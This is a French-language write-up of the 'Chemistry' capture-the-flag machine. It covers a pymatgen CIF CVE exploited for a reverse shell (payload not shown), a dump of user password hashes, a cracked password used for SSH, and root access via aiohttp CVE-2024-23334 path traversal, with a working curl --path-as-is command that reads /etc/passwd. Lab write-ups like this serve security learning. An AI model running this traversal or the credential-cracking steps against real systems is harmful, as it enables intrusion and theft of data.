Chemistry
User
Première étape : fuzzing des répertoires pour découvrir les endpoints disponibles.
En recherchant des informations sur les fichiers CIF (Crystallographic Information File), on
découvre que les applications qui les interprètent utilisent généralement Python avec la
bibliothèque pymatgen. Une CVE et un PoC sont disponibles :
Construction d'un payload contenant un reverse shell, puis exécution réussie.
Exfiltration de la base de données :
~/Documents $ sqlite3 database.db
SQLite version 3.51.0 2025-11-04 19:38:17
Enter ".help" for usage hints.
sqlite> .tables
structure user
sqlite> .schema user
CREATE TABLE user (
id INTEGER NOT NULL,
username VARCHAR(150) NOT NULL,
password VARCHAR(150) NOT NULL,
PRIMARY KEY (id),
UNIQUE (username)
);
sqlite> SELECT * FROM user;
1|admin|2861debaf8d99436a10ed6f75a252abf
2|app|197865e46b878d9e74a0346b6d59886a
3|rosa|63ed86ee9f624c7b14f1d4f43dc251a5
...
Le hash de l'utilisateur admin n'est pas disponible sur CrackStation. Cependant,
celui de rosa est crackable : unicorniosrosados
Connexion SSH avec les credentials de rosa → accès utilisateur obtenu.
Root
L'exécution de LinPEAS révèle plusieurs informations intéressantes.
Première piste explorée (CVE-2021-3560 Polkit) : sans succès.
LinPEAS indique également qu'un service tourne en tant que root :
/usr/bin/python3.9 /opt/monitoring_site/app.py (running as root - PID 1050)
Pas d'accès en écriture sur ce répertoire, mais un site de monitoring s'exécute avec les
privilèges root sur 127.0.0.1:8080.
Exploration du service local :
rosa@chemistry:~$ curl http://127.0.0.1:8080/assets
403: Forbidden
Tentatives de LFI sur /assets initialement infructueuses.
rosa@chemistry:~$ curl -I http://127.0.0.1:8080
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Server: Python/3.9 aiohttp/3.9.1
Le framework utilisé est Aiohttp 3.9 (et non Werkzeug). Recherche de vulnérabilités
connues sur cette version.
Découverte du CVE-2024-23334 permettant une LFI via path traversal :
Adaptation de l'exploit : modification du chemin cible vers root/root.txt et du
endpoint /assets/.
Point important : l'utilisation du flag --path-as-is avec curl est nécessaire pour
éviter la normalisation automatique des chemins :
curl --path-as-is "http://127.0.0.1:8080/assets/../../../etc/passwd"
Ressource utile : Documentation HTTPie - --path-as-is
Flag root obtenu avec succès.